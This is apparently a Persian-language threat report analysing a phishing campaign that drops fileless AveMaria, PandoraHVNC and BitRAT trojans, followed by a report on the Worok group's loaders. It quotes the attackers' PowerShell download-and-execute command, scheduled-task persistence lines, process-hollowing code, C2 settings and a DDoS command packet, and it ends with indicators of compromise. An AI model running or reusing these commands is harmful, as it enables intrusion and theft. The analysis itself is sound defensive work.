JavaScript  است که با استفاده از تابعURL Escape دهد. کدگذاری شده است. شکل زیر نسخه رمزگشایی و ساده شده کد را نشان می 

 

 

 

 شود.ایجاد می  Wscript.Shellبه نام Objectبا استفاده از دستورالعمل زیر یک 

chuchukukukaokiwDasidow = new ActiveXObject(_0x5b4b3f(0x391, 0x391)); 

Wscript.Shell 0_با استفاده از تابعx5b4b3f(0x391, 0x391) شود.شود، بازیابی میکه برای برگرداندن یک رشته و شاخص آن استفاده می 

گیرد. شود که برای اجرای یک برنامه مورد استفاده قرار میایجاد می chuchukukukaokiwDasidowنیز به نام  OS Shell Objectیک 

 نماید:همانطور که در شکل بالا نشان داده شده، پنج برنامه کاربردی خط فرمان زیر را اجرا می

• powershell  $MMMMMMM=((neW-ObjEcT 
(("Net.Webclient"))).(("Downloadstring")).invoke((("hxxps[:]//taxfile[.]mediafire.com/file/175lr9wsa5n97x
8/mainpw.dll/file"))));Invoke-Expression $MMMMMMM 

• schtasks /create /sc MINUTE /mo 82 /tn calendersw /F /tr """%programdata%\ddond.com """""" 
hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file""" 

• taskkill /f /im WinWord.exe 
• taskkill /f /im Excel.exe 
• taskkill /f /im POWERPNT.exe 

را دانلود کرده و سپس آن را اجرا کند. در ادامه   mainpw.dllبه نام PowerShellشود تا یک فایل اجرا می PowerShellسپس برنامه 

schtasks را جهت ایجاد یک برنامه زمانبندی شده به نامcalendersw  ردTask Scheduler  دقیقه یکبار  ۸۲کند. فرمان زیر هر اجرا می

 back.htmاست. این سازوکار پایداری است و پس از شروع،   APRL27.htmlفایل Parsingرسد مربوط به عملیات شود که به نظر میانجام می

 کند.ریزی شده بیشتری را اضافه میوظایف برنامه

C:\ProgramData\ddond.com hxxps[:]//www[.]mediafire.com/file/c3zcoq7ay6nql9i/back.htm/file 
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 MS PowerPointو  MS Word (WinWord.exe) ،MS Excel (Excel.exe)های سازی پروسهرا جهت متوقف taskkillهمچنین 

(POWERPNT.exe) کند.اجرا می 

 

 

 
 

دهد. کادر اند، نشان میرا که در کادر قرمز مشخص شده  mainpw.dllتا  APRL27.htmهایاست که بسته HTTP proxyشکل بالا نمایی از 
 Task Schedulerهستند که توسط   ddond.comهای مربوط به فرمان) گروه دیگری از درخواستStart.htm) و کادر آبی (back.htmسبز (

 اند.شروع شده
 

به سه بخش  Filelessتوان آن را برای سه بدافزار است که می PowerShellمگابایت) دارای تعداد زیادی کد  ٧٫٥٨(با حجم   mainpw.dllفایل
 دهد.را نشان می  mainpw.dllتقسیم کرد. شکل زیر ساختار ساده شده
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کند. این کار برای هر بدافزار از طریق متغیرهای آن یاین کد دارای سه بخش اصلی است و از منطق یکسانی برای هر یک از بدافزارها استفاده م

 شود. انجام می

 کند.را از حالت فشرده خارج می GZipحاوی روشی پویا است که  hexString$اولین متغیر، یعنی  •

داخلی را جهت  Net.) و یک ماژول Payloadاست که کدمخرب بدافزار ( PowerShellحاوی کد پویای  hexString$دومین  •

 کند.استقرار کد مخرب از حالت فشرده خارج می

• $nona ) یک آرایه بزرگ است که حاوی کد مخرب و فشرده شده بدافزارGZip-compressed malware payloadباشد. ) می

و ماژول  nona$اند و جهت فشرده کردن کد مخرب بدافزار در استخراج شده hexString$از دومین زیر  PowerShellکدهای 

 شوند تا کد مخرب را در دو متغیر محلی اجرا نمایند.بکارگرفته می Net.داخلی 

 

• [byte[]] $RSETDYUGUIDRSTRDYUGIHOYRTSETRTYDUGIOH = Get- 

DecompressedByteArray $nona 

• [byte[]] $RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG =Get-                        

DecompressedByteArray $STRDYFUGIHUYTYRTESRDYUGIRI 

 

 RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG$داخلی را از  Net.،ماژول ()Loadدر پایان هر قطعه کد بدافزار، تابع 

 کند.خوانی میبارگذاری و فرا

 

را با دو پارامتر که  ()projFUD.PA.Executeیعنی  Net.کند تا تابع مربوط به ماژول داخلی را فراخوانی می  ()Invokeسپس قطعه کد، تابع

که برای اولین  PowerShellاست، فراخوانی کند. در اینجا بخشی از کد  Filelessمربوط به کل مسیر و دیگری کد مخرب بدافزار  exeیکی فایل 

 ته، نشان داده شده است.بدافزار مورد استفاده قرار گرف

 

[Reflection.Assembly]::Load($RDSFGTFHYGUJHKGYFTDRSRDTFYGJUHKDDRTFYG).GetType('projFUD.PA').Get

Method('Execute').Invoke($null,[object[]] ( 

'C:\Windows\Microsoft.NET\Framework\v2.0.50727\aspnet_compiler.exe',$RSETDYUGUIDRSTRDYUGIHOYRTS

ETRTYDUGIOH)) 
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  NET.ماژول پویای 

فراخوانی  PowerShellاز  ()projFUD.PA.Executeشود. تابع آن استخراج می hexString$از دومین متغیر  NET.ماژول پویا و داخلی 

) Breakاست. شکل زیر توقف (  PAعضوی از کلاس ()Executeنام کلاس و   PA)،name spaceفضای نام (  projFUDشود که در آنمی

 دهد.) را در ورودی این تابع نشان میDebuggerیاب (برنامه اشکال

 

 

 

تعویض یعنی  Process Hollowingکنیم. سپس پروسه ، دو پارامتر ارسال شده را مشاهده میLocalsدر پايين شکل، در زیر منوی متغیر 

تزریق   aspnet_compiler.exeشود تا کد مخرب بدافزار را به پروسه جدید ایجاد شدهفایل اجرایی و جایگزینی کدمخرب به جای آن انجام می

 کند. 
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  aspnet_compiler.exeای ازکند تا پروسه) را فراخوانی می()CreateProcessAبه نام ( Windowsمربوط به  Execute() ،APIسپس تابع 

است، همانطور که  CREATE_SUSPENDEDو  CREATE_NO_WINDOWاجرا کند. این ترکیبی از  Create Flag 0x8000004را با فرمان 

 در شکل بالا نشان داده شده است.

کند. مقدار را در آدرس های مربوط به کد مخرب بدافزار را در آن مستقر و بارگذاری مییص داده و دادهدر ادامه حافظه را به این پروسه تخص

کند و رجیستری را ذخیره می - PEBبه اختصار  - Process Environment Blockدهد، جایی که در آن تغییر می 0x7EFDE008حافظه 

آن به کد مخرب بدافزار کپی شده اشاره کند. برای  - EIPبه اختصار  - Extended Instruction Pointerدهد که ای تغییر میفرآیند را به گونه

 فراخوانی شود.  ()Wow64SetThreadContextو همچنین ()WriteProcessMemoryمربوط به  APIاتمام، باید چندین بار 

شود تا فرآیند بارگذاری بدافزار را اجرا کند. در زیر کد وانی میفراخ  ()ResumeThreadمربوط به APIپس از تکمیل تمام مراحل فوق، در نهایت 

 کند.، پروسه تازه ایجاد شده را کنترل میprocessInformation.ThreadHandleآمده است.  APIمورد استفاده در فراخوانی این 

 

num15 = (int)PA.LX99ujNZ7X3YScj6T4(PA.ResumeThread, 

PA.vgxYHnXuOV51G6NIu3("010010010110111001110110011011110110101101100101"), CallType.Method,  

new object[] 

                                }  

                                    processInformation.ThreadHandle 

}); 

 

ها به بر روی کد مخرب این سه بدافزار تمرکز خواهیم کرد و در مورد نحوه سرقت اطلاعات حساس از دستگاه قربانی، نحوه ارسال داده ادامهدر 

 توانند با این فرامین انجام دهند، توضیح خواهیم داد. ، جزئیات مربوط به فرامین کنترلی، و همچنین اقداماتی که میC2سرور 

 

 AveMariaRATبدافزار بدون فایل 

Ave Maria ) یک اسب تروا دسترسی از راه دورRemote Access Trojan – اختصار به RAT است که با نام (WARZONE RAT  نیز شناخته

هایی نظیر ها نظیر سرقت اطلاعات حساس قربانی و کنترل از راه دور دستگاه هک شده، از جمله قابلیتای از ویژگیشود. طیف گستردهمی

 کند.، کنترل از راه دور دسکتاپ، ضبط تصاویر دوربین و موارد دیگر را برای مهاجمان فراهم می)Privilege Escalation(» ترفیع اختیارات«

در دستگاه قربانی تزریق شده   aspnet_compiler.exeاین اولین بدافزاری است که در میان این سه بدافزار است به پروسه جدید ایجاد شده

 شود.و سپس اجرا می
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 گام اول:

های رمزگذاری شده آن رمزگذاری شده است. کلید رمزگشایی و داده PEساختار  bss.در بخش  RC4به صورتی است که  Ave Mariaپیکربندی 

های رمزگشایی شده در شود. شکل زیر دادهاندازی بدافزار، ابتدا بخش مربوط به پیکربندی رمزگشایی میقرار دارند. هنگام راه bss.هر دو در 

 دهد.حافظه را نشان می

 

 

 Switchاست، بلکه تعدادی  (0x3E7)) و درگاه آن C2 اختصار به – Command and Controlدهی (این نه تنها شامل سرور کنترل و فرمان

Flag شود، مانند اینکه آیا باید خود را به دسته اجرای خودکار اضافه کند یا نه و یا اینکه کنترل حساب کاربری (را نیز شامل میUser Account 

Control – اختصار به UAC یا (Windows Defender .را دور بزند یا خیر 

 

 گام دوم:

با کلید  C2کند. ترافیک بین مشتری و سرور برقرار کرد، شروع به کنترل دستگاه قربانی می C2اتصال خود را به سرور  Ave Mariaهنگامی که 

 رمزگذاری شده است. RC4به صورت   warzone160ثابت

 

29 BB 66 E4 70 EA 00 00 1E 00 00 00 00 00 00 00 

00 FA 07 00 00 00 00 00 60 EA 00 00 4D 5A 90 00 

… 

 باشد:این بسته متن ساده شامل موارد زیر می

 .شروع شود dword 0xE466BB29 هر بسته باید با مقدار •

• 0xEA70 0ای برای فرمان وجود نداشته باشد، مقدار آن های فرمان است. اگر هیچ دادهاندازه دادهx0 است. 

• 0x1E  بسته است شماره فرمان این. 

ای برای فرمان وجود نداشته باشند. اگر دادههای فرمان هستند که یک فایل اجرایی در این بسته نمونه میهای بعدی، دادهداده •

 .شودای نمایش داده نمیباشد، داده

 های زیر است:شامل قابلیت  Ave Mariaبدافزار

Virtual Network Computing  Remote-  به اختصارRemote VNC ،Remote Shell ،File Explorer ،Process Manager ،

Remote Webcam ،Password Manager ،Reverse Socks ،دانلود و اجرای یک فایل ،Remote Keylogger ،HRDP Manager  و

 ».ترفیع اختیارات«همچنین 
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دهد که وقتی دهد. این شکل نشان مینشان می C2) را در سمت سرور Remote Keylogger )Command 24Hشکل بالا قابلیت مربوط به 

 شود.دهیم، چه چیزی ضبط میرا در دستگاه قربانی فشار می Enterکنیم و را باز کرده و یک نشانی را تایپ می Chromeمرورگر 

کاربردی زیر از جمله مرورگرهای اینترنتی و های سنجی از برنامهاین بدافزار، سرقت اطلاعات اصالت Password Managerهدف قابلیت 

 باشد:های مدیریت ایمیل زیر میبرنامه

Google Chrome, Epic Privacy browser, Microsoft Edge, UCBrowser, Tencent QQBrowser, Opera, Blisk, Chromium, 

Brave-Browser, Vivaldi, Comodo Dragon, Torch, Slim, CentBrowser, Microsoft Internet Explorer, Mozilla Firefox, 

Microsoft Outlook, Microsoft Messaging, Mozilla Thunderbird, Tencent Foxmail, and more. 

 

 

 

های تعریف شده ) را از فایل20Hسنجی (فرمان اطلاعات اصالت Ave Mariaاست هنگامی که  )pseudoCodeکد (شبهشکل بالا تصویری از 

رمزگذاری شده و سپس  RC4سنجی به شیوه شود تا اطلاعات اصالتکند. در این کد، تابعی فراخوانی میدر چندین مرورگر اینترنتی سرقت می

 ارسال کند.  C2آنها را به سرور 

  

https://fa.wikipedia.org/wiki/%D8%B4%D8%A8%D9%87%E2%80%8C%DA%A9%D8%AF
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 دهد.کند، نشان میاز آن پشتیبانی می Ave Mariaجدول زیر اکثر فرامین کنترلی را که بدافزار 

 

 

 PandorahVNC RATبدافزار بدون فایل 

و  #Cشود. این بدافزار با تزریق می  RegAsm.exeاست که در این کارزار به  PandorahVNC Ratافزاری تجاریدومین بدافزار بدون فایل نرم

Microsoft .NET Framework های سنجی از برخی برنامههایی نظیر سرقت اطلاعات اصالتتوسعه داده شده است. همچنین از قابلیت

کند. ضمن آن که فرامین کنترلی و و غیره پشتیبانی می Chrome ،Microsoft Edge ،Firefox ،Outlook ،Foxmailمحبوب مانند 

نمایش، دستکاری ماوس و صفحه کلید قربانی و غیره جهت کنترل دستگاه قربانی ه، گرفتن عکس از صفحههایی جهت اجرای یک پروسقابلیت

 باشد.را دارا می

 مرحله اول:

هایی و شناسه  TCP، درگاهC2کند. این متغیرها، آدرس سرور در ابتدا متغیرهای زیر را تعریف می PandorahVNC RATبدافزار بدون فایل 

 شود.از آنها استفاده می 2Cها به سرور هستند که هنگام ارسال داده

string str = "vncgoga.duckdns.org"; //C2 server 

string str2 = "1338";                           // TCP port 

string identifier = "3H4RHL";            // Group id 
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پردازد. را دارا است، می PandoraHVNC RATهای که تمام قابلیت base64ماژول هسته از یک رشته کدگذاری شده با ، به استخراج سپس

) در پروسه جدید ایجاد تعویض فایل اجرایی و جایگزینی کدمخرب به جای آن( Process Hollowingدر ادامه ماژول اصلی را با روش 

 های زیر پیدا کند:کند فایل را از یکی از نشانیکند. سعی می) مستقر میMicrosoft .Net framework(فایلی از   cvtres.exeشده

“C:\Windows\Microsoft.NET\Framework\v4.0.30319\" 

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\” 

ها نیز در ، درگاه و شناسهC2شود. آدرس سرور ج میاز آن خار  PandoraHVNC RATاگر فایل مورد نظر پیدا نشد، بدون اجرای ماژول اصلی 

 دهد.را نشان می Process Hollowingشوند. شکل زیر کد مربوط به انجام حین جایگذاری کدمخرب به پروسه جدید منتقل می

 

 

 

 مرحله دوم:

شود تا دستگاه قربانی را در سرور ثبت کند. در تصویر زیر ارسال می C2آوری شده و به سرور در این مرحله، اطلاعات اولیه از دستگاه قربانی جمع

 ای نمایش داده شده است.های چنین بستهداده

 

 

سریالی مهر و موم شده است. داده  Binary Objectهای بعدی در یک ، کل اندازه بسته است. داده0x62بیتی یعنی  ٦٤اولین عدد صحیح 

16H("00 01 … 0000")  نوعیHeader  .0استx4a 0های زیر و یک عدد صحیح با طول متغیر است. آخریناندازه با رشتهبعدی همx0b  

 جهت خاتمه دادن است.  Flagیک 

)، نام کاربری قربانی و نام کامپیوتر 3H4RHL)، شناسه گروهی کلاینت (٦٥٤٣٢١حال رشته سریالی مهر و موم شده را که شامل شماره بسته (

)Bobs@BOBS-PC) کد موقعیت مکانی قربانی ،(US) اطلاعات سیستم ،(Windows 7 Pro) ٣٫١)، نسخه کلاینت (05/09/2022)، تاریخ (

 باشد.)، میFalseشود (و اینکه آیا از محصول ضدویروسی استفاده می
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 دهد.ن مینشا این بسته را دریافت کرد، اطلاعات قربانی را در یک لیست همانند شکل زیر C2هنگامی که سرور 

 

 

 

های موجود در منو، دستگاه قربانی را کنترل کند. شکل بالا منوی نمایش سپس هکر می تواند با کلیک راست روی کلاینت و کلیک بر روی گزینه

 .دهدهای آن را نشان میداده شده در هنگام کلیک راست و گزینه

 

 

 

باشد. دیگری بسته می ٣٣٠٨دهد، خط اول مربوط به بسته کنترل فرمان دریافتی با شماره فرمان شکل قبلی تصویری از دو بسته را نمایش می

 Pandora Recoveryسنجی قربانی به هنگام کلیک هکر روی است که پس از سرقت اطلاعات اصالت ٣٣٠٨با شماره بسته  C2ارسالی به سرور 

 اند.سریالی مهر و موم شده به صورت Binary Objectشود. همانطور که قبلاً نیز ذکر شد، این دو بسته در ایجاد می
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 دهد.دهد، نمایش میارائه می PandoraHVNC RATهایی را که جدول زیر جزئیات تمام فرامین کنترلی و قابلیت

 

 

 

 BitRATبدافزار بدون فایل 

شود یک تروجان دسترسی از راه است که گفته می  BitRatشود،تزریق می  aspnet_compiler.exeفایلی که به پروسهسومین بدافزار بدون 

)، اطلاعات Keylogger، کلیدهای فشرده شده توسط کاربر (Clipboardهای آوری اطلاعات نظیر دادههای جمع، قابلیتBitRatدور است. بدافزار 
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) را Voice Recording) و ضبط صدا (Webcam Loggingردی مختلف، ثبت تصاویر از طریق دوربین دستگاه (های کاربسنجی برنامهاصالت

ای برای کنترل دستگاه قربانی نظیر دانلود و اجرای یک فایل، کنترل از راه دور دسکتاپ، کند. فرامین کنترلی گستردهبرای مهاجمان فراهم می

 و غیره وجود دارد. Reverse Socksها، ها و سرویسکنترل پروسه

 مرحله اول:

دهد، جایی که سرور است. شکل زیر رمزگشایی شده پیکربندی آن را در حافظه نشان می Ave Maria Ratمشابه  BitRatپیکربندی رمزگذاری 

C2  شناسه کلاینت (۸۹۰درگاه (و ،(f2b8b66873ca913a.و موارد دیگر در آن وجود دارد ( 

 

 

 

جهت انتقال بسته استفاده   AESو  RSAاز ترکیب رمزگذاری  TLS 1.2یابد. سپس با بکارگیری پروتکل ادامه می C2تلاش جهت اتصال به سرور 

 کدگذاری و با روش Base64های متنی به صورت دهد که در آن، دادهشود. شکل زیر مدلی را نشان میمی

AES-256 ه های رمزگذاری شده را از طریق پروتکل شوند. در نهایت، دادرمزگذاری میTLS 1.2  به سرورC2 کند.ارسال می 

 

 

 

دهد ) را نشان میDebuggerیاب (افزار اشکالدهیم که یک بسته متنی ساده چگونه است. شکل زیر، تصویری از نرمدر این بخش توضیح می

 کند.کدگذاری می Base64ت اولیه دستگاه قربانی به صورت در آن بسته متنی ساده را با بکارگیری اطلاعا BitRatکه بدافزار 
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)، نام f2b8b66873ca913aها عبارتند از شناسه کلاینت (اند؛ این بخشاز هم جدا شده«|» های زیادی است که با این بسته شامل بخش

، RAMکاری سیستم، مقدار )، مدت زمان روشن بودن دستگاه، زمان بیWin 7، نام سیستم (GPU، کارت CPUکاربری، نام کامپیوتر، اطلاعات 

) و غیره. در مرحله بعد، بسته به شیوه BitRat )1.38است یا خیر، نسخه کلاینت بدافزار  Admin، اینکه آیا کاربر ورود به سیستم IPنشانی 

Base64  کدگذاری و یه صورتAES-256  رمزگذاری شده و در نهایت به سرورC2 شود.ارسال می 

تواند دستگاه آلوده را کنترل شود، جایی که هکر میاین بسته را دریافت کرد، دستگاه قربانی در رابط کنترلی آن ظاهر می C2هنگامی که سرور 

 کند.

 مرحله دوم:

BitRat  قدرتمندتر ازAveMariaRAT  وPandoraHVNC ) فرمان) را جهت کنترل دستگاه قربانی  ۱۷۲است زیرا تعداد زیادی فرمان کنترلی

 دهد. ارائه می

دهد. در سمت چپ، اطلاعات اولیه دستگاه قربانی وجود نشان می C2شکل زیر داشبورد را در هنگام اتصال به سیستم قربانی در سمت سرور 

 اند.ت فهرست شدهها در سمت راسدارد، در حالی که برخی از قابلیت

 

 

 

 شود:های زیر نیز از طریق منوی آن ارائه میهای نمایش داده شده در داشبورد، قابلیتبه غیر از قابلیت

 

• Chat 
• Clear browsers 
• Clipboard management 
• DLL injection 
• Change desktop background 
• Open website 
• Notes 
• UAC bypass 
• Kill Windows Defender 
• Show preview of screen or webcam 
• Keylog download & search 
• Reverse socks 
• System management (reboot, shutdown, sleep, etc.) 
• BitRat client’s update and uninstall 
• DDoS attack (plugin) 
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• Mining (plugin) 
• Telegram bot (plugin) 
• Passwords Logins (plugin) 

 

 مرحله سوم:

) نیاز دارد. Plaintextجهت بازیابی بسته متنی ساده ( AES-256کند، فقط به رمزگشایی بسته فرمان کنترل را دریافت می BitRatمی که هنگا

 دهیم:ساختار بسته متنی ساده  را با استفاده از مثال زیر توضیح می

"ddos_start|MTkyLjE2OC4yMi4xNQ==|3333|1|tcp|tcp|1|0|L3NpdGUucGhwP3g9dmFsMSZ5PXZhbDI=" 

 شوند.شود که با علامت "|" از هم تفکیک میهر بسته دستوری با رشته نام دستور و پارامترهای بعدی شروع می

 نام فرمان است،   ddos_startرا شروع کند، که در آن DDoSخواهد که یک حمله دستور مثال بالا از دستگاه آلوده می

MTkyLjE2OC4yMi4xNQ== نشانی IP  هدف مورد نظر است که بصورتBase-64 )Base64-encoded،3333) کدگذاری شده است  

 باشد.مربوط به داده میو آخرین فیلد » ۰«، مقدار آن »۱«است، شماره رشته  tcpباشد. پروتکل می Flood methodنیز   tcpپورت موردنظر، 

دهی شده را علاوه ) لینک85Hبرای   ddos_startهای حاوی نام فرمان و شماره فرمان (مانندفهرستی که در آن به گره BitRatاولین بار، بدافزار 

ای است که با ای، در جستجوی گرهها و با مقایسه رشتهتابعی دارد که از طریق آن گره BitRatبدافزار  کند.مقداردهی اولیه می Flagبر چندین 

 offsetاز نشانی  dwordشود و شماره فرمان مربوطه در یک گره شروع می offset +10Hنام فرمان بسته مطابقت داشته باشد. نام فرمان از 

+28H در عبارات زیر گره مذکور در شود. ذخیره میddos_start  .قرار دارد 

 

Offset+00   A0 2E 30 00 00 71 3E 00 A0 2E 30 00 00 00 00 00   .0..q>. .0..... 

Offset+10   64 64 6F 73 5F 73 74 61 72 74 00 00 00 00 00 00  ddos_start...... 

Offset+20   0A 00 00 00 0F 00 00 00 85 00 00 00              .......…... 
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BitRat دهد. در ادامه در جدول زیر بیشترین فرامین کنترلی بدافزار عمل تطابق را از طریق شماره فرمان انجام میBitRat  را همراه با توضیحات

 کنیم.مختصری از آنها، فهرست می
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 بندیجمع

هایی تزریق در این مقاله، کد مخرب سه بدافزار بدون فایل بکارگرفته شده در کارزار فیشینگ را بررسی کردیم و توضیح دادیم که آنها به چه پروسه

 شوند.  و اجرا می

وند را نمایش دادیم. همچنین شارسال می C2هایی که به سرور را تشریح نموده و ساختار بسته C2در ادامه نحوه اتصال این سه بدافزار به سرور 

 شود را ارائه کردیم.های بدافزار جهت کنترل دستگاه قربانی ارسال میهای فرامین کنترلی در کلاینتمقادیری که به بسته

اثبات نحوه  های این سه بدافزار را همراه با چند مثال جهتعلاوه بر این ضمن نمایش جداول فرامین کنترلی هر یک از این بدافزارها، قابلیت

 بکارگیری مهاجمان از آنها شرح دادیم. 

 ):IoCهای آلودگی (نشانه

 

 )Domainدامنه (

vncgoga[.]duckdns[.]org:1338 

mubbibun[.]duckdns[.]org:999 

danseeeee[.]duckdns[.]org:2022 

maraipasoo[.]duckdns[.]org:890 
hxxps://taxfile[.]mediafire[.]com/file/6hxdxdkgeyq0z1o/APRL27[.]htm/file 
hxxps://www[.]mediafire[.]com/file/c3zcoq7ay6nql9i/back[.]htm/file 
hxxps://www[.]mediafire[.]com/file/jjyy2npmnhx6o49/Start[.]htm/file 
hxxps://taxmogalupupitpamobitola[.]blogspot[.]com/atom[.]xml 

 

 )Hashساز (درهم

 [Remittance-Details-951244-
1.xlam]:8007BB9CAA6A1456FFC829270BE2E62D1905D5B71E9DC9F9673DEC9AFBF13BFC  

 [APRL27.htm]: D71ADD25520799720ADD43A5F4925B796BEA11BF55644990B4B9A70B7EAEACBA 

[mainpw.dll]:3D71A243E5D9BA44E3D71D4DA15D928658F92B2F0A220B7DEFE0136108871449 

 

 بع:امن

 

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware 

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware-part-two 

  

https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware
https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware-part-two
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 Worok یحملات گروه هکر 

 یدولت یهابه سازمان

 

 

 

ای، فعال بوده و با بکارگیری ابزارهای ناشناخته ۲۰۲۰اند که حداقل از سال ) اخیراً حملات هدفمندی را شناسایی کردهESETسِت (محققان ای

اند. این حملات توسط یک گروه جاسوسی که قبلاً ناشناخته هایی را در کشورهای مختلف از جمله منطقه خاورمیانه مورد هدف قرار دادهسازمان

 اند. نامیده Worokسِت آن را حققان ایبود، انجام شده و م

در این گزارش که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه گردیده به بررسی این حملات 
 .پرداخته شده است

از نوع » دسترسی غیرمجاز«، یک CLRLoadبه نام   ++Cشامل یک بارگذاری کننده Worokمجموعه ابزار بکارگرفته شده توسط گروه 

PowerShell  به نامPowHeartBeat اندازو یک راهC#   به نامPNGLoad باشد که از نوعی رمزنگاری خاص موسوم به میSteganography 

 کند. استفاده می PNGهای برای پنهان نمودن کد مخرب در فایل

Worok 

مشاهده شد که به نظر  APTهای مختلف هایی از گروه، فعالیتCVE-2021-34523به شناسه   ProxyShellپذیریدر طول افشای آسیب

د بودن حملات و بکارگیری های مشترکی نظیر زمان فعالیت، هدفمنمرتبط باشد چون همگی دارای ویژگی TA428رسید با گروه هکری چینی می

ShadowPad .بودند 

 سازی و هک در آلوده TA428شود، بسیار متفاوت است. گروه هکری بکارگرفته می Worokبقیه مجموعه ابزارهایی که توسط مهاجمان 

Able Desktop  مشارکت داشت ولی  ۲۰۲۰در سالWorok وه به اندازه کافی پیشرفته نیست که بتوان آن را همانند گرTA428  در نظر گرفت

کننده که در بارگذاری mutex، از Worokبا این حال این دو گروه ممکن است ابزارهای مشترکی داشته باشند. نام این گروه هکری با عنوان 

)Loaderسِت، ) آن مورد استفاده قرار گرفته، برگرفته شده است. به نقل از محققان ایWorok  ده و تا زمان نگارش فعال بو ۲۰۲۰از اواخر سال

 این گزارش همچنان فعال است.

 های مختلفی را در کشورهای مختلف از جمله منطقه خاورمیانه مورد هدف قرار داد.ها و سازمان، این گروه دولت۱۴۰۰در پاييز سال 

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34523
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با حمله به  ۱۴۰۰د را مجدد در بهمن ، فعالیت خو۱۴۰۰تا دی سال  ۱۴۰۰پس از وقفه قابل توجهی در بازه زمانی اردیبهشت  Worokگروه هکری 

 یک نهاد عمومی در جنوب شرق آسیا و بخش انرژی در آسیای مرکزی مجدد از سر گرفت.

 

 

 

 

 سرقت اطلاعات است. Worokرسد که هدف اصلی با توجه به ابزارهای بکارگرفته شده علیه این قربانیان، به نظر می

 تحلیل تکنیکال

از  ۱۴۰۱و  ۱۴۰۰های ها و نفوذ اولیه در این حملات همچنان ناشناخته است، در برخی حملات انجام شده در سالبا وجود این که اکثر دسترسی

ها به منظور پذیریجویی از این آسیبپس از بهره Webshellشده است. در چنین مواردی، معمولاً  سوءاستفاده ProxyShell  پذیریآسیب

 کنند.های بیشتر استفاده میشود. سپس اپراتورها از کدهای مخرب مختلف جهت به دست آوردن قابلیتدر شبکه قربانی بارگذاری می تداوم

و  Mimikatz ،EarthWorm ،ReGeorgبا بکارگیری ابزارهای متعدد و معتبری نظیر  Worokبعد از نفوذ به سیستم موردنظر، هکرهای 

NBTscanکننده انداز در مرحله اول، یک بارگذاریکنند. به دنبال بکارگیری یک راهسازی شده خود را اجرا میخصی، کدهای مخرب و ش.NET 

(PNGLoad) کننده مرحله اول ، بارگذاری۱۴۰۰شود. در سال در مرحله دوم اجرا میCLR Assembly  به نامCLRLoad  بود در حالی که در سال

تر جایگزین آن شده است. های کاملبا قابلیت (PowHeartBeat)با عنوان   PowerShellاز نوع» دسترسی غیرمجاز«، در اکثر موارد، یک ۱۴۰۱

 اند.های فرعی زیر تشریح شدهاند. ابزارها به تفصیل در بخشهر دوی این زنجیره اجرایی در شکل زیر نشان داده شده

 

CLRLoad  

CLRLoad ای است که به زبان بارگذارکنندهC++  نوشته شده و یکPE  مربوط بهWindows  بیتی وجود  ۶۴و  ۳۲است که در هر دو نسخه

این کد از فایلی که بر روی دیسک و در یک  باشد.می Common Language Runtime (CLR) assemblyاز نوع  DLLدارد و در واقع فایل 

افزاری معتبر و شود تا گمان کنند که نرمدهندگان به رویدادها، بارگذاری میدایرکتوری معتبر قرار دارد و احتمالاً برای گمراه کردن قربانیان یا پاسخ

 قانونی است.

https://docs.microsoft.com/en-us/dotnet/standard/clr
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شود. این مسیرها با شود، شروع میبا رمزگشایی مسیر کامل فایلی که محتوای آن در مرحله بعدی بارگذاری می CLRLoadهای برخی از نمونه

 باشد:شوند. مسیرهای فایل به صورت رمزگشایی شده یا متن شفاف زیر میتک بایتی و با یک کلید متفاوت در هر نمونه کدگذاری می XORیک 

• C:\Program Files\VMware\VMware Tools\VMware VGAuth\xsec_1_5.dll 
• C:\Program Files\UltraViewer\msvbvm80.dll 
• C:\Program Files\Internet Explorer\Jsprofile.dll 
• C:\Program Files\WinRar\RarExtMgt.dll 
• C:\Program Files (x86)\Foxit Software\Foxit Reader\lucenelib.dll 

 

کند. اگر پیدا شد، را بررسی می mutexکننده این شود. بارگذاریشده و در هر نمونه نامی متفاوت مشاهده می ایجاد mutexدر مرحله بعد، یک 

مشاهده شده  Wo0r0KGWhYGOبا نام   mutexها، یکشود. در یکی از نمونهکننده از قبل در حال اجرا است، پس خارج مییعنی بارگذاری

 را محققان از برداشت شده است. Worokکه نام 

از  CLRLoadکند. به عنوان کد مدیریت نشده، را از مسیر فایل احتمالاً رمزگشایی شده، بارگذاری می CLR Assemblyیک  CLRLoadسپس 

 ۶۴های در نسخه CLRCreateInstanceبیتی یا فراخوانی  ۳۲های در نسخه  Windows APIدر CorBindToRuntimeEx طریق فراخوانی

 شود.بیتی اجرا می

PowHeartBeatدسترسی غیرمجاز از نوع  ؛PowerShell 

PowHeartBeat  که درPowerShell  ،سازی، های مختلفی نظیر فشردهکند و با استفاده از تکنیکرا فراهم می» دسترسی غیرمجاز«نوشته شده

به عنوان ابزاری جهت  Worok ،PowHeartBeatسِت، در کارزارهای اخیر سازی شده است. به نقل از محققان ایرمزگذاری و کدگذاری، مبهم

 شده است. CLRLoad، جایگزین PNGLoadاندازی راه

کدگذاری شده است. پس از ایجاد کدمخرب،  base64است که به صورت  PowerShellشامل چند تکه کد » دسترسی غیرمجاز«اولین لایه کد 

 شود.سازی شده همانند شکل زیر اجرا میو پس از کدگذاری، لایه دیگری از کد مبهمشود اجرا می IEXاین کد از طریق 

 

 

 

شود. ) رمزگشایی میCBC(وضعیت  Triple DES کند و سپس باکدگذاری شده، کد لایه بعدی خود را رمزگشایی می 64baseلایه دوم یعنی 

که همان  PowerShellشود و به این ترتیب لایه سوم کد از حالت فشرده خارج می Gzipپس از رمزگشایی، این کد با استفاده از الگوریتم 

 ».دسترسی غیرمجاز«شود: پیکربندی، و کنترل دستورات واقعی است، ایجاد شده و به دو بخش اصلی تقسیم می» دسترسی غیرمجاز«

  

https://en.wikipedia.org/wiki/Triple_DES
https://en.wikipedia.org/wiki/Gzip
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کند. همانطور استفاده می C&Cبرای ارتباط با سرور  ICMPیا  HTTPنوشته شده و از  PowerShellنیز در » دسترسی غیرمجاز«لایه اصلی کد 

